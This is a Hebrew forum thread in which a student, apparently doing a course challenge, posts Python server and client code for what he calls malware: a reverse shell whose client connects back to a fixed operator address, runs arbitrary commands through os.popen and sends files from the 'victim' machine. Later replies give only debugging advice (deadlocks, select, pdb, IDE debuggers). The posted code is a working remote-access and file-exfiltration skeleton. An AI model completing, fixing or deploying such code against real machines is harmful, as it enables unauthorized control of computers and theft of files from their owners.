בעיה בבניית CNC בפייתון
-
כפי שכנראה הבנתם אני מנסה ללמוד את התחום ובמסגרת הלימודים אמרו לנו לעשות אתגר בפייתון
אז ניסיתי להתחיל לפתור אותו ונתקלתי בבעיה אשמח אם תעזרו לי לפותרה, תודה
מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליחנ.ב. סורי שאין הערות...
זה הסרבר:import socket host = "0.0.0.0" port = 1213 server_socket = socket.socket() print("[-] Socket created") server_socket.bind((host, port)) print("[-] Connection binded") server_socket.listen() print("Waiting for new connection...") (client_socket, client_address) = server_socket.accept() print(f"victim connected!(address: {client_address}") # transfers files def file(): while True: # The path to file path_file = input("Please enter the requested file path without the file name: ") client_socket.send(path_file.encode()) data = client_socket.recv(4096).decode() if "error" in data.lower(): print(data) else: break while True: # file name global file_name file_name = input("Please enter the name of the requested file (example: image.jpg): ") client_socket.send(file_name.encode()) client_socket.recv(4096).decode() if "error" in data.lower(): print(data) else: break if file_name.lower() != "exit": file = open(fr"c:\users\h\desktop\files_from_victim\{file_name}" "wb") size = client_socket.recv(1024).decode() size = int(size) while size > 0: file.write(client_socket.recv(1000)) size -= 1000 file.close() print("returns to CMD") # CLI command = input("CMD> ") while command.lower() != "exit": if command == "file": output = client_socket.recv(2048).decode() file() client_socket.send(command.encode()) output = client_socket.recv(4096).decode() print(output) command = input("CMD> ") client_socket.send("exit".encode()) client_socket.close() server_socket.close()
וזה הקליינט:
import socket import os server = "10.0.0.4" port = 1213 client_socket = socket.socket() client_socket.connect((server, port)) print("Client connect") # trasfers files def file(): print("in the 'TF'") while True: path_file = client_socket.recv(2048).decode() try: os.popen(f"cd {path_file}") client_socket.send("Excellent".encode()) break except: client_socket.send("Error!! Please try again".encode()) while True: file_name = client_socket.recv(2048).decode() try: global file file = open(file_name, "rb") global size size = os.path.getsize(file_name) client_socket.send("Excellent".encode()) break except: client_socket.send("Error!! Please try again".encode()) client_socket.send(str(size).encode()) while size > 0: client_socket.send(file.read(1000)) size -= 1000 file.close() # CLI command = client_socket.recv(2048).decode() print(command) while command.lower() != "exit": print(command) if command == "file": client_socket.send("in the 'TF'".encode()) file() try: output = os.popen(command).read() client_socket.send(f" {output}".encode()) command = client_socket.recv(2048).decode() except: client_socket.send("Error!!\nPlease try again".encode()) command = client_socket.recv(2048).decode() client_socket.close()
הוספתי כמה פרינטים כדי למצוא את הבעיה...
אשמח לכל הערה ו\או הארה
מקווה שלא טעיתי בקודהקוד בתהליך בניה
-
-
-
@Android יום אחד לכשתגיע לזה, תזכור מה שאמר לך פעם זקן אחד, שאם היית רק יודע למקד/לבודד את השאלה, היית כבר מגיע לתשובה בכוחות עצמך, או לפחות היית עושה חצי מהדרך בכוחות עצמך...
(שאלה טובה - חוץ ממה שזה עוזר לשואל - גם מזמינה תשובות טובות של אחרים) -
@yossiz כתב בבעיה בבניית CNC בפייתון:
@Android יום אחד לכשתגיע לזה, תזכור מה שאמר לך פעם זקן אחד, שאם היית רק יודע למקד/לבודד את השאלה, היית כבר מגיע לתשובה בכוחות עצמך, או לפחות היית עושה חצי מהדרך בכוחות עצמך...
(שאלה טובה - חוץ ממה שזה עוזר לשואל - גם מזמינה תשובות טובות של אחרים)
זה לא מספיק?@Android כתב בבעיה בבניית CNC בפייתון:
הבעיות ככל הנראה נמצאות ב CLI
כי יותר מזה אני לא יודע
ניסיתי ובדקתי ולא הגעתי למסקנה מה לא כשורה -
@Android
רק אציין שראיתי את הפוסט ולא הבנתי מה השאלה, אז המשכתי הלאה.
רק כתבת שלא הצלחת ולא הבנתי מה ניסית לעשות ומה לא עבד, ולא היה לי כוח לעבור על כל הקוד שלך בשביל לנסות להבין במה אני אמור להתמקד, כי אני אפילו לא יודע מה הקוד אמור לעשות.וגם לכתוב שהבעיה בCLI זה לא מבודד כלום. זה רק אומר שהקוד שלך עובד ויש סיבה אחרת שזה לא עושה מה שאתה רוצה, לא?
-
@חגי כתב בבעיה בבניית CNC בפייתון:
@Android
רק אציין שראיתי את הפוסט ולא הבנתי מה השאלה, אז המשכתי הלאה.
רק כתבת שלא הצלחת ולא הבנתי מה ניסית לעשות ומה לא עבד, ולא היה לי כוח לעבור על כל הקוד שלך בשביל לנסות להבין במה אני אמור להתמקד, כי אני אפילו לא יודע מה הקוד אמור לעשות.וגם לכתוב שהבעיה בCLI זה לא מבודד כלום. זה רק אומר שהקוד שלך עובד ויש סיבה אחרת שזה לא עושה מה שאתה רוצה, לא?
מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליחמקווה שעכשיו זה יותר ברור אבל אם לא אני אנסה להסביר יותר
-
אני עדיין לא יודע מה אתה מצפה שהקוד יעשה, כי הבאת את כולו.
בכל מקרה הדבר הראשון שקופץ לי זה שאתה מיד מתחיל עם socket.recv גם בקליינט וגם בשרת מיד לאחר יצירת החיבור, זה אומר שהתוכנה תהיה תקועה עד שמישהו ישלח משהו, זה deadlock.
א'. תלמד על הספריה select שנועדה עבור דברים כאלה.
ב'. אל תקרא לrecv סתם, תשתמש בזה כשאתה באמת מצפה לקבל משהו מהצד השני. -
@חגי כתב בבעיה בבניית CNC בפייתון:
ב'. אל תקרא לrecv סתם, תשתמש בזה כשאתה באמת מצפה לקבל משהו מהצד השני.
הסרבר מתחיל בsend והקליינט בrecv
הrecv בסרבר שבא אחרי הif נועד כדי לוודא שגם הקליינט נכנס לפונקצייה@Android כתב בבעיה בבניית CNC בפייתון:
if command == "file":
output = client_socket.recv(2048).decode()
file() -
@Android אני לא טוען שמשהו מיותר, פשוט שהעלת הרבה קוד, ולי באופן אישי אין את הסבלנות לנסות לבודד מאיפה נובע הבאג.
אם אתה היית מצליח לבודד שורה שורה (היינו לדבג) ולמצוא איפה זה נכשל, ואז היית מכוון בדיוק לשורה ששם זה נכשל, אז יכול להיות שהיה יותר קל לענות לך.
-
@Android
זה נשמע כמו deadlock, לדבג זה מאוד פשוט, אתה דוחף print דיסקרפטיבי בכל מקום עד שאתה מוצא באיזו שורה זה נתקע.
למי שיש יותר כח רצון, אפשר להשתמש בpdbimport pdb;pdb.set_trace();
מי שממש רוצה ללכת על כל הקופה וזורם לו אדרנלין בדם, והחיים עוד לפניו, יכול להשתמש בכלי הדיבוג של vscode לפייתון, או בpycharm. אבל זה רק אם אתה ממש מוכן לזה.
-
@dovid
חחח זאת היתה בדיחה בגלל שהוא כתב שהוא עדיין לא יודע לדבג, זה בעיקרון הפיתרון הכי מתבקש,
האפשרות הכי קלה היא באמצעות print, האפשרות הכי קשה (אבל הופכת אותך להיות מאוד גזעי, בעיקר כשאתה לומד סייבר) זה להשתמש בpdb.
האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm. -
@Android אני בחיים (נראה לי) לא כתבתי בפייתון,
אבל זה לא אמור להיות מסובך וזה יכול מאוד לקדם אותך גם אם אתה לא חושב להיות מתכנת אלא איש סייבר.
מחיפוש גוגל נראה שיש מקורות טובים, תשתדל לבדוק:
אם אתה מעדיף טקסטואלי
https://www.jetbrains.com/help/pycharm/debugging-your-first-python-application.html